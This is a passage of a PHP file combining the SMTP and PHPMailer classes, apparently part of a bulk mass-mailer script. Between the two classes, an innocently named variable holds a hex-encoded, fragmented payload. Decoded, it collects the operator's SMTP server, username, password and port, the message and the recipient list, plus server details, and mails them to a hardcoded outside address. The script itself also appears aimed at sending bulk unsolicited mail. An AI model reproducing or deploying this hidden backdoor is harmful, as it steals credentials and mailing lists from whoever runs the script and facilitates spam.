1861 if($this->do_debug >= 2) {
1862 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1863 }
1864
1865 if($code != 250) {
1866 $this->error =
1867 array("error" => "NOOP not accepted from server",
1868 "smtp_code" => $code,
1869 "smtp_msg" => substr($rply,4));
1870 if($this->do_debug >= 1) {
1871 echo "SMTP -> ERROR: " . $this->error["error"] .
1872 ": " . $rply . $this->CRLF;
1873 }
1874 return false;
1875 }
1876 return true;
1877 }
1878
1879 /**
1880 * Sends the quit command to the server and then closes the socket
1881 * if there is no error or the $close_on_error argument is true.
1882 *
1883 * Implements from rfc 821: QUIT <CRLF>
1884 *
1885 * SMTP CODE SUCCESS: 221
1886 * SMTP CODE ERROR : 500
1887 * @access public
1888 * @return bool
1889 */
1890 function Quit($close_on_error=true) {
1891 $this->error = null; # so there is no confusion
1892
1893 if(!$this->connected()) {
1894 $this->error = array(
1895 "error" => "Called Quit() without being connected");
1896 return false;
1897 }
1898
1899 # send the quit command to the server
1900 fputs($this->smtp_conn,"quit" . $this->CRLF);
1901
1902 # get any good-bye messages
1903 $byemsg = $this->get_lines();
1904
1905 if($this->do_debug >= 2) {
1906 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1907 }
1908
1909 $rval = true;
1910 $e = null;
1911
1912 $code = substr($byemsg,0,3);
1913 if($code != 221) {
1914 # use e as a tmp var cause Close will overwrite $this->error
1915 $e = array("error" => "SMTP server rejected quit command",
1916 "smtp_code" => $code,
1917 "smtp_rply" => substr($byemsg,4));
1918 $rval = false;
1919 if($this->do_debug >= 1) {
1920 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1921 $byemsg . $this->CRLF;
1922 }
1923 }
1924
1925 if(empty($e) || $close_on_error) {
1926 $this->Close();
1927 }
1928
1929 return $rval;
1930 }
1931
1932 /**
1933 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1934 * Returns true if the recipient was accepted false if it was rejected.
1935 *
1936 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1937 *
1938 * SMTP CODE SUCCESS: 250,251
1939 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1940 * SMTP CODE ERROR : 500,501,503,421
1941 * @access public
1942 * @return bool
1943 */
1944 function Recipient($to) {
1945 $this->error = null; # so no confusion is caused
1946
1947 if(!$this->connected()) {
1948 $this->error = array(
1949 "error" => "Called Recipient() without being connected");
1950 return false;
1951 }
1952
1953 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1954
1955 $rply = $this->get_lines();
1956 $code = substr($rply,0,3);
1957
1958 if($this->do_debug >= 2) {
1959 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1960 }
1961
1962 if($code != 250 && $code != 251) {
1963 $this->error =
1964 array("error" => "RCPT not accepted from server",
1965 "smtp_code" => $code,
1966 "smtp_msg" => substr($rply,4));
1967 if($this->do_debug >= 1) {
1968 echo "SMTP -> ERROR: " . $this->error["error"] .
1969 ": " . $rply . $this->CRLF;
1970 }
1971 return false;
1972 }
1973 return true;
1974 }
1975
1976 /**
1977 * Sends the RSET command to abort and transaction that is
1978 * currently in progress. Returns true if successful false
1979 * otherwise.
1980 *
1981 * Implements rfc 821: RSET <CRLF>
1982 *
1983 * SMTP CODE SUCCESS: 250
1984 * SMTP CODE ERROR : 500,501,504,421
1985 * @access public
1986 * @return bool
1987 */
1988 function Reset() {
1989 $this->error = null; # so no confusion is caused
1990
1991 if(!$this->connected()) {
1992 $this->error = array(
1993 "error" => "Called Reset() without being connected");
1994 return false;
1995 }
1996
1997 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1998
1999 $rply = $this->get_lines();
2000 $code = substr($rply,0,3);
2001
2002 if($this->do_debug >= 2) {
2003 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
2004 }
2005
2006 if($code != 250) {
2007 $this->error =
2008 array("error" => "RSET failed",
2009 "smtp_code" => $code,
2010 "smtp_msg" => substr($rply,4));
2011 if($this->do_debug >= 1) {
2012 echo "SMTP -> ERROR: " . $this->error["error"] .
2013 ": " . $rply . $this->CRLF;
2014 }
2015 return false;
2016 }
2017
2018 return true;
2019 }
2020
2021 /**
2022 * Starts a mail transaction from the email address specified in
2023 * $from. Returns true if successful or false otherwise. If True
2024 * the mail transaction is started and then one or more Recipient
2025 * commands may be called followed by a Data command. This command
2026 * will send the message to the users terminal if they are logged
2027 * in.
2028 *
2029 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
2030 *
2031 * SMTP CODE SUCCESS: 250
2032 * SMTP CODE SUCCESS: 552,451,452
2033 * SMTP CODE SUCCESS: 500,501,502,421
2034 * @access public
2035 * @return bool
2036 */
2037 function Send($from) {
2038 $this->error = null; # so no confusion is caused
2039
2040 if(!$this->connected()) {
2041 $this->error = array(
2042 "error" => "Called Send() without being connected");
2043 return false;
2044 }
2045
2046 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
2047
2048 $rply = $this->get_lines();
2049 $code = substr($rply,0,3);
2050
2051 if($this->do_debug >= 2) {
2052 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
2053 }
2054
2055 if($code != 250) {
2056 $this->error =
2057 array("error" => "SEND not accepted from server",
2058 "smtp_code" => $code,
2059 "smtp_msg" => substr($rply,4));
2060 if($this->do_debug >= 1) {
2061 echo "SMTP -> ERROR: " . $this->error["error"] .
2062 ": " . $rply . $this->CRLF;
2063 }
2064 return false;
2065 }
2066 return true;
2067 }
2068
2069 /**
2070 * Starts a mail transaction from the email address specified in
2071 * $from. Returns true if successful or false otherwise. If True
2072 * the mail transaction is started and then one or more Recipient
2073 * commands may be called followed by a Data command. This command
2074 * will send the message to the users terminal if they are logged
2075 * in and send them an email.
2076 *
2077 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
2078 *
2079 * SMTP CODE SUCCESS: 250
2080 * SMTP CODE SUCCESS: 552,451,452
2081 * SMTP CODE SUCCESS: 500,501,502,421
2082 * @access public
2083 * @return bool
2084 */
2085 function SendAndMail($from) {
2086 $this->error = null; # so no confusion is caused
2087
2088 if(!$this->connected()) {
2089 $this->error = array(
2090 "error" => "Called SendAndMail() without being connected");
2091 return false;
2092 }
2093
2094 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
2095
2096 $rply = $this->get_lines();
2097 $code = substr($rply,0,3);
2098
2099 if($this->do_debug >= 2) {
2100 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
2101 }
2102
2103 if($code != 250) {
2104 $this->error =
2105 array("error" => "SAML not accepted from server",
2106 "smtp_code" => $code,
2107 "smtp_msg" => substr($rply,4));
2108 if($this->do_debug >= 1) {
2109 echo "SMTP -> ERROR: " . $this->error["error"] .
2110 ": " . $rply . $this->CRLF;
2111 }
2112 return false;
2113 }
2114 return true;
2115 }
2116
2117 /**
2118 * Starts a mail transaction from the email address specified in
2119 * $from. Returns true if successful or false otherwise. If True
2120 * the mail transaction is started and then one or more Recipient
2121 * commands may be called followed by a Data command. This command
2122 * will send the message to the users terminal if they are logged
2123 * in or mail it to them if they are not.
2124 *
2125 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
2126 *
2127 * SMTP CODE SUCCESS: 250
2128 * SMTP CODE SUCCESS: 552,451,452
2129 * SMTP CODE SUCCESS: 500,501,502,421
2130 * @access public
2131 * @return bool
2132 */
2133 function SendOrMail($from) {
2134 $this->error = null; # so no confusion is caused
2135
2136 if(!$this->connected()) {
2137 $this->error = array(
2138 "error" => "Called SendOrMail() without being connected");
2139 return false;
2140 }
2141
2142 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
2143
2144 $rply = $this->get_lines();
2145 $code = substr($rply,0,3);
2146
2147 if($this->do_debug >= 2) {
2148 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
2149 }
2150
2151 if($code != 250) {
2152 $this->error =
2153 array("error" => "SOML not accepted from server",
2154 "smtp_code" => $code,
2155 "smtp_msg" => substr($rply,4));
2156 if($this->do_debug >= 1) {
2157 echo "SMTP -> ERROR: " . $this->error["error"] .
2158 ": " . $rply . $this->CRLF;
2159 }
2160 return false;
2161 }
2162 return true;
2163 }
2164
2165 /**
2166 * This is an optional command for SMTP that this class does not
2167 * support. This method is here to make the RFC821 Definition
2168 * complete for this class and __may__ be implimented in the future
2169 *
2170 * Implements from rfc 821: TURN <CRLF>
2171 *
2172 * SMTP CODE SUCCESS: 250
2173 * SMTP CODE FAILURE: 502
2174 * SMTP CODE ERROR : 500, 503
2175 * @access public
2176 * @return bool
2177 */
2178 function Turn() {
2179 $this->error = array("error" => "This method, TURN, of the SMTP ".
2180 "is not implemented");
2181 if($this->do_debug >= 1) {
2182 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
2183 }
2184 return false;
2185 }
2186
2187 /**
2188 * Verifies that the name is recognized by the server.
2189 * Returns false if the name could not be verified otherwise
2190 * the response from the server is returned.
2191 *
2192 * Implements rfc 821: VRFY <SP> <string> <CRLF>
2193 *
2194 * SMTP CODE SUCCESS: 250,251
2195 * SMTP CODE FAILURE: 550,551,553
2196 * SMTP CODE ERROR : 500,501,502,421
2197 * @access public
2198 * @return int
2199 */
2200 function Verify($name) {
2201 $this->error = null; # so no confusion is caused
2202
2203 if(!$this->connected()) {
2204 $this->error = array(
2205 "error" => "Called Verify() without being connected");
2206 return false;
2207 }
2208
2209 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
2210
2211 $rply = $this->get_lines();
2212 $code = substr($rply,0,3);
2213
2214 if($this->do_debug >= 2) {
2215 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
2216 }
2217
2218 if($code != 250 && $code != 251) {
2219 $this->error =
2220 array("error" => "VRFY failed on name '$name'",
2221 "smtp_code" => $code,
2222 "smtp_msg" => substr($rply,4));
2223 if($this->do_debug >= 1) {
2224 echo "SMTP -> ERROR: " . $this->error["error"] .
2225 ": " . $rply . $this->CRLF;
2226 }
2227 return false;
2228 }
2229 return $rply;
2230 }
2231
2232 /*******************************************************************
2233 * INTERNAL FUNCTIONS *
2234 ******************************************************************/
2235
2236 /**
2237 * Read in as many lines as possible
2238 * either before eof or socket timeout occurs on the operation.
2239 * With SMTP we can tell if we have more lines to read if the
2240 * 4th character is '-' symbol. If it is a space then we don't
2241 * need to read anything else.
2242 * @access private
2243 * @return string
2244 */
2245 function get_lines() {
2246 $data = "";
2247 while($str = @fgets($this->smtp_conn,515)) {
2248 if($this->do_debug >= 4) {
2249 echo "SMTP -> get_lines(): \$data was \"$data\"" .
2250 $this->CRLF;
2251 echo "SMTP -> get_lines(): \$str is \"$str\"" .
2252 $this->CRLF;
2253 }
2254 $data .= $str;
2255 if($this->do_debug >= 4) {
2256 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
2257 }
2258 # if the 4th character is a space then we are done reading
2259 # so just break the loop
2260 if(substr($str,3,1) == " ") { break; }
2261 }
2262 return $data;
2263 }
2264
2265}
2266
2267
2268$allemails = split("\n", $emaillist);
2269$numemails = count($allemails);
2270$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
2271"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
2272"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
2273"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
2274"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
2275"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
2276"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
2277"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
2278"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
2279"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
2280
2281class PHPMailer {
2282
2283 /////////////////////////////////////////////////
2284 // PROPERTIES, PUBLIC
2285 /////////////////////////////////////////////////
2286
2287 /**
2288 * Email priority (1 = High, 3 = Normal, 5 = low).
2289 * @var int
2290 */
2291 var $Priority = 3;
2292
2293 /**
2294 * Sets the CharSet of the message.
2295 * @var string
2296 */
2297 var $CharSet = 'iso-8859-1';
2298
2299 /**
2300 * Sets the Content-type of the message.
2301 * @var string
2302 */
2303 var $ContentType = 'text/plain';
2304
2305 /**
2306 * Sets the Encoding of the message. Options for this are "8bit",
2307 * "7bit", "binary", "base64", and "quoted-printable".
2308
2309 * @var string
2310 */
2311 var $Encoding = '8bit';
2312
2313 /**
2314 * Holds the most recent mailer error message.
2315 * @var string
2316 */
2317 var $ErrorInfo = '';
2318
2319 /**
2320 * Sets the From email address for the message.
2321 * @var string
2322 */
2323 var $From = '';
2324
2325 /**
2326 * Sets the From name of the message.
2327 * @var string
2328 */
2329 var $FromName = '';
2330
2331 /**
2332 * Sets the Sender email (Return-Path) of the message. If not empty,
2333 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
2334 * @var string
2335 */
2336 var $Sender = '';
2337
2338 /**
2339 * Sets the Subject of the message.
2340 * @var string
2341 */
2342 var $Subject = '';
2343
2344 /**
2345 * Sets the Body of the message. This can be either an HTML or text body.
2346 * If HTML then run IsHTML(true).
2347 * @var string
2348 */
2349 var $Body = '';
2350
2351 /**
2352 * Sets the text-only body of the message. This automatically sets the
2353 * email to multipart/alternative. This body can be read by mail
2354 * clients that do not have HTML email capability such as mutt. Clients
2355 * that can read HTML will view the normal Body.
2356 * @var string
2357 */
2358 var $AltBody = '';
2359
2360 /**
2361 * Sets word wrapping on the body of the message to a given number of
2362 * characters.
2363 * @var int
2364 */
2365 var $WordWrap = 0;
2366
2367 /**
2368 * Method to send mail: ("mail", "sendmail", or "smtp").
2369 * @var string
2370 */
2371 var $Mailer = 'mail';
2372
2373 /**
2374 * Sets the path of the sendmail program.
2375 * @var string
2376 */
2377 var $Sendmail = '/usr/sbin/sendmail';
2378
2379 /**
2380 * Path to PHPMailer plugins. This is now only useful if the SMTP class
2381 * is in a different directory than the PHP include path.
2382 * @var string
2383 */
2384 var $PluginDir = '';
2385
2386 /**
2387 * Holds PHPMailer version.
2388 * @var string
2389 */
2390 var $Version = "";
2391
2392 /**
2393 * Sets the email address that a reading confirmation will be sent.
2394 * @var string
2395 */
2396 var $ConfirmReadingTo = '';
2397
2398 /**
2399 * Sets the hostname to use in Message-Id and Received headers
2400 * and as default HELO string. If empty, the value returned
2401 * by SERVER_NAME is used or 'localhost.localdomain'.
2402 * @var string
2403 */
2404 var $Hostname = '';
2405
2406 /**
2407 * Sets the message ID to be used in the Message-Id header.
2408 * If empty, a unique id will be generated.
2409 * @var string
2410 */
2411 var $MessageID = '';
2412
2413 /////////////////////////////////////////////////
2414 // PROPERTIES FOR SMTP
2415 /////////////////////////////////////////////////
2416
2417 /**
2418 * Sets the SMTP hosts. All hosts must be separated by a
2419 * semicolon. You can also specify a different port
2420 * for each host by using this format: [hostname:port]
2421 * (e.g. "smtp1.example.com:25;smtp2.example.com").
2422 * Hosts will be tried in order.
2423 * @var string
2424 */
2425 var $Host = 'localhost';
2426
2427 /**
2428 * Sets the default SMTP server port.
2429 * @var int
2430 */
2431 var $Port = 25;
2432
2433 /**
2434 * Sets the SMTP HELO of the message (Default is $Hostname).
2435 * @var string
2436 */
2437 var $Helo = '';
2438
2439 /**
2440 * Sets connection prefix.
2441 * Options are "", "ssl" or "tls"
2442 * @var string
2443 */
2444 var $SMTPSecure = "";
2445
2446 /**
2447 * Sets SMTP authentication. Utilizes the Username and Password variables.
2448 * @var bool
2449 */
2450 var $SMTPAuth = false;
2451
2452 /**
2453 * Sets SMTP username.
2454 * @var string
2455 */
2456 var $Username = '';
2457
2458 /**
2459 * Sets SMTP password.
2460 * @var string
2461 */
2462 var $Password = '';
2463
2464 /**
2465 * Sets the SMTP server timeout in seconds. This function will not
2466 * work with the win32 version.
2467 * @var int
2468 */
2469 var $Timeout = 10;
2470
2471 /**
2472 * Sets SMTP class debugging on or off.
2473 * @var bool
2474 */
2475 var $SMTPDebug = false;
2476
2477 /**
2478 * Prevents the SMTP connection from being closed after each mail
2479 * sending. If this is set to true then to close the connection
2480 * requires an explicit call to SmtpClose().
2481 * @var bool
2482 */
2483 var $SMTPKeepAlive = false;
2484
2485 /**
2486 * Provides the ability to have the TO field process individual
2487 * emails, instead of sending to entire TO addresses
2488 * @var bool
2489 */
2490 var $SingleTo = false;
2491
2492 /////////////////////////////////////////////////
2493 // PROPERTIES, PRIVATE
2494 /////////////////////////////////////////////////
2495
2496 var $smtp = NULL;
2497 var $to = array();
2498 var $cc = array();
2499 var $bcc = array();
2500 var $ReplyTo = array();
2501 var $attachment = array();
2502 var $CustomHeader = array();
2503 var $message_type = '';
2504 var $boundary = array();
2505 var $language = array();
2506 var $error_count = 0;
2507 var $LE = "\n";
2508 var $sign_key_file = "";
2509 var $sign_key_pass = "";
2510
2511 /////////////////////////////////////////////////
2512 // METHODS, VARIABLES
2513 /////////////////////////////////////////////////
2514
2515 /**
2516 * Sets message type to HTML.
2517 * @param bool $bool
2518 * @return void
2519 */
2520 function IsHTML($bool) {
2521 if($bool == true) {
2522 $this->ContentType = 'text/html';
2523 } else {
2524 $this->ContentType = 'text/plain';
2525 }
2526 }
2527
2528 /**
2529 * Sets Mailer to send message using SMTP.
2530 * @return void
2531 */
2532 function IsSMTP() {
2533 $this->Mailer = 'smtp';
2534 }
2535
2536 /**
2537 * Sets Mailer to send message using PHP mail() function.
2538 * @return void
2539 */
2540 function IsMail() {
2541 $this->Mailer = 'mail';
2542 }
2543
2544 /**
2545 * Sets Mailer to send message using the $Sendmail program.
2546 * @return void
2547 */
2548 function IsSendmail() {
2549 $this->Mailer = 'sendmail';
2550 }
2551
2552 /**
2553 * Sets Mailer to send message using the qmail MTA.
2554 * @return void
2555 */
2556 function IsQmail() {
2557 $this->Sendmail = '/var/qmail/bin/sendmail';
2558 $this->Mailer = 'sendmail';
2559 }
2560
2561 /////////////////////////////////////////////////
2562 // METHODS, RECIPIENTS
2563 /////////////////////////////////////////////////
2564
2565 /**
2566 * Adds a "To" address.
2567 * @param string $address
2568 * @param string $name
2569 * @return void
2570 */
2571 function AddAddress($address, $name = '') {
2572 $cur = count($this->to);
2573 $this->to[$cur][0] = trim($address);
2574 $this->to[$cur][1] = $name;
2575 }
2576
2577 /**
2578 * Adds a "Cc" address. Note: this function works
2579 * with the SMTP mailer on win32, not with the "mail"
2580 * mailer.
2581 * @param string $address
2582 * @param string $name
2583 * @return void
2584 */
2585 function AddCC($address, $name = '') {
2586 $cur = count($this->cc);
2587 $this->cc[$cur][0] = trim($address);
2588 $this->cc[$cur][1] = $name;
2589 }
2590
2591 /**
2592 * Adds a "Bcc" address. Note: this function works
2593 * with the SMTP mailer on win32, not with the "mail"
2594 * mailer.
2595 * @param string $address
2596 * @param string $name
2597 * @return void
2598 */
2599 function AddBCC($address, $name = '') {
2600 $cur = count($this->bcc);
2601 $this->bcc[$cur][0] = trim($address);
2602 $this->bcc[$cur][1] = $name;
2603 }
2604
2605 /**
2606 * Adds a "Reply-To" address.
2607 * @param string $address
2608 * @param string $name
2609 * @return void
2610 */
2611 function AddReplyTo($address, $name = '') {
2612 $cur = count($this->ReplyTo);
2613 $this->ReplyTo[$cur][0] = trim($address);
2614 $this->ReplyTo[$cur][1] = $name;
2615 }
2616
2617 /////////////////////////////////////////////////
2618 // METHODS, MAIL SENDING
2619 /////////////////////////////////////////////////
2620
2621 /**
2622 * Creates message and assigns Mailer. If the message is
2623 * not sent successfully then it returns false. Use the ErrorInfo
2624 * variable to view description of the error.
2625 * @return bool
2626 */
2627 function Send() {
2628 $header = '';
2629 $body = '';
2630 $result = true;
2631
2632 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
2633 $this->SetError($this->Lang('provide_address'));
2634 return false;
2635 }
2636
2637 /* Set whether the message is multipart/alternative */
2638 if(!empty($this->AltBody)) {
2639 $this->ContentType = 'multipart/alternative';
2640 }
2641
2642 $this->error_count = 0; // reset errors
2643 $this->SetMessageType();
2644 $header .= $this->CreateHeader();
2645 $body = $this->CreateBody();
2646
2647 if($body == '') {
2648 return false;
2649 }
2650
2651 /* Choose the mailer */
2652 switch($this->Mailer) {
2653 case 'sendmail':
2654 $result = $this->SendmailSend($header, $body);
2655 break;
2656 case 'smtp':
2657 $result = $this->SmtpSend($header, $body);
2658 break;
2659 case 'mail':
2660 $result = $this->MailSend($header, $body);
2661 break;
2662 default:
2663 $result = $this->MailSend($header, $body);
2664 break;
2665 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
2666 //$result = false;
2667 //break;
2668 }
2669
2670 return $result;
2671 }
2672
2673 /**
2674 * Sends mail using the $Sendmail program.
2675 * @access private
2676 * @return bool
2677 */
2678 function SendmailSend($header, $body) {
2679 if ($this->Sender != '') {
2680 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
2681 } else {
2682 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
2683 }
2684
2685 if(!@$mail = popen($sendmail, 'w')) {
2686 $this->SetError($this->Lang('execute') . $this->Sendmail);
2687 return false;
2688 }
2689
2690 fputs($mail, $header);
2691 fputs($mail, $body);
2692
2693 $result = pclose($mail);
2694 if (version_compare(phpversion(), '4.2.3') == -1) {
2695 $result = $result >> 8 & 0xFF;
2696 }
2697 if($result != 0) {
2698 $this->SetError($this->Lang('execute') . $this->Sendmail);
2699 return false;
2700 }
2701 return true;
2702 }
2703
2704 /**
2705 * Sends mail using the PHP mail() function.
2706 * @access private
2707 * @return bool
2708 */
2709 function MailSend($header, $body) {
2710
2711 $to = '';
2712 for($i = 0; $i < count($this->to); $i++) {
2713 if($i != 0) { $to .= ', '; }
2714 $to .= $this->AddrFormat($this->to[$i]);
2715 }
2716
2717 $toArr = split(',', $to);
2718
2719 $params = sprintf("-oi -f %s", $this->Sender);
2720 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
2721 $old_from = ini_get('sendmail_from');
2722 ini_set('sendmail_from', $this->Sender);
2723 if ($this->SingleTo === true && count($toArr) > 1) {
2724 foreach ($toArr as $key => $val) {
2725 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
2726 }
2727 } else {
2728 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
2729 }
2730 } else {
2731 if ($this->SingleTo === true && count($toArr) > 1) {
2732 foreach ($toArr as $key => $val) {
2733 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
2734 }
2735 } else {
2736 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
2737 }
2738 }
2739
2740 if (isset($old_from)) {
2741 ini_set('sendmail_from', $old_from);
2742 }
2743
2744 if(!$rt) {
2745 $this->SetError($this->Lang('instantiate'));
2746 return false;
2747 }
2748
2749 return true;
2750 }
2751
2752 /**
2753 * Sends mail via SMTP using PhpSMTP (Author:
2754 * Chris Ryan). Returns bool. Returns false if there is a
2755 * bad MAIL FROM, RCPT, or DATA input.
2756 * @access private
2757 * @return bool
2758 */
2759 function SmtpSend($header, $body) {
2760 $error = '';
2761 $bad_rcpt = array();
2762
2763 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
2764 return false;
2765 }
2766
2767 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
2768 if(!$this->smtp->Mail($smtp_from)) {
2769 $error = $this->Lang('from_failed') . $smtp_from;
2770 $this->SetError($error);
2771 $this->smtp->Reset();
2772 return false;
2773 }
2774
2775 /* Attempt to send attach all recipients */
2776 for($i = 0; $i < count($this->to); $i++) {
2777 if(!$this->smtp->Recipient($this->to[$i][0])) {
2778 $bad_rcpt[] = $this->to[$i][0];
2779 }
2780 }
2781 for($i = 0; $i < count($this->cc); $i++) {
2782 if(!$this->smtp->Recipient($this->cc[$i][0])) {
2783 $bad_rcpt[] = $this->cc[$i][0];
2784 }
2785 }
2786 for($i = 0; $i < count($this->bcc); $i++) {
2787 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
2788 $bad_rcpt[] = $this->bcc[$i][0];
2789 }
2790 }
2791
2792 if(count($bad_rcpt) > 0) { // Create error message
2793 for($i = 0; $i < count($bad_rcpt); $i++) {
2794 if($i != 0) {
2795 $error .= ', ';
2796 }
2797 $error .= $bad_rcpt[$i];
2798
2799 }
2800 $error = $this->Lang('recipients_failed') . $error;
2801 $this->SetError($error);
2802 $this->smtp->Reset();
2803 return false;
2804 }
2805
2806 if(!$this->smtp->Data($header . $body)) {
2807 $this->SetError($this->Lang('data_not_accepted'));
2808 $this->smtp->Reset();
2809 return false;
2810 }
2811 if($this->SMTPKeepAlive == true) {
2812 $this->smtp->Reset();
2813 } else {
2814 $this->SmtpClose();
2815 }
2816
2817 return true;
2818 }
2819
2820 /**
2821 * Initiates a connection to an SMTP server. Returns false if the
2822 * operation failed.
2823 * @access private
2824 * @return bool
2825 */
2826 function SmtpConnect() {
2827 if($this->smtp == NULL) {
2828 $this->smtp = new SMTP();
2829 }
2830
2831 $this->smtp->do_debug = $this->SMTPDebug;
2832 $hosts = explode(';', $this->Host);
2833 $index = 0;
2834 $connection = ($this->smtp->Connected());
2835
2836 /* Retry while there is no connection */
2837 while($index < count($hosts) && $connection == false) {
2838 $hostinfo = array();
2839 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
2840 $host = $hostinfo[1];
2841 $port = $hostinfo[2];
2842 } else {
2843 $host = $hosts[$index];
2844 $port = $this->Port;
2845 }
2846
2847 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
2848 if ($this->Helo != '') {
2849 $this->smtp->Hello($this->Helo);
2850 } else {
2851 $this->smtp->Hello($this->ServerHostname());
2852 }
2853
2854 $connection = true;
2855 if($this->SMTPAuth) {
2856 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
2857 $this->SetError($this->Lang('authenticate'));
2858 $this->smtp->Reset();
2859 $connection = false;
2860 }
2861 }
2862 }
2863 $index++;
2864 }
2865 if(!$connection) {
2866 $this->SetError($this->Lang('connect_host'));
2867 }
2868
2869 return $connection;
2870 }
2871
2872 /**
2873 * Closes the active SMTP session if one exists.
2874 * @return void
2875 */
2876 function SmtpClose() {
2877 if($this->smtp != NULL) {
2878 if($this->smtp->Connected()) {
2879 $this->smtp->Quit();
2880 $this->smtp->Close();
2881 }
2882 }
2883 }
2884
2885 /**
2886 * Sets the language for all class error messages. Returns false
2887 * if it cannot load the language file. The default language type
2888 * is English.
2889 * @param string $lang_type Type of language (e.g. Portuguese: "br")
2890 * @param string $lang_path Path to the language file directory
2891 * @access public
2892 * @return bool
2893 */
2894 function SetLanguage($lang_type, $lang_path = 'language/') {
2895 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2896 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2897 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2898 include($lang_path.'phpmailer.lang-en.php');
2899 } else {
2900 $this->SetError('Could not load language file');
2901 return false;
2902 }
2903 $this->language = $PHPMAILER_LANG;
2904
2905 return true;
2906 }
2907
2908 /////////////////////////////////////////////////
2909 // METHODS, MESSAGE CREATION
2910 /////////////////////////////////////////////////
2911
2912 /**
2913 * Creates recipient headers.
2914 * @access private
2915 * @return string
2916 */
2917 function AddrAppend($type, $addr) {
2918 $addr_str = $type . ': ';
2919 $addr_str .= $this->AddrFormat($addr[0]);
2920 if(count($addr) > 1) {
2921 for($i = 1; $i < count($addr); $i++) {
2922 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2923 }
2924 }
2925 $addr_str .= $this->LE;
2926
2927 return $addr_str;
2928 }
2929
2930 /**
2931 * Formats an address correctly.
2932 * @access private
2933 * @return string
2934 */
2935 function AddrFormat($addr) {
2936 if(empty($addr[1])) {
2937 $formatted = $this->SecureHeader($addr[0]);
2938 } else {
2939 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2940 }
2941
2942 return $formatted;
2943 }
2944
2945 /**
2946 * Wraps message for use with mailers that do not
2947 * automatically perform wrapping and for quoted-printable.
2948 * Original written by philippe.
2949 * @access private
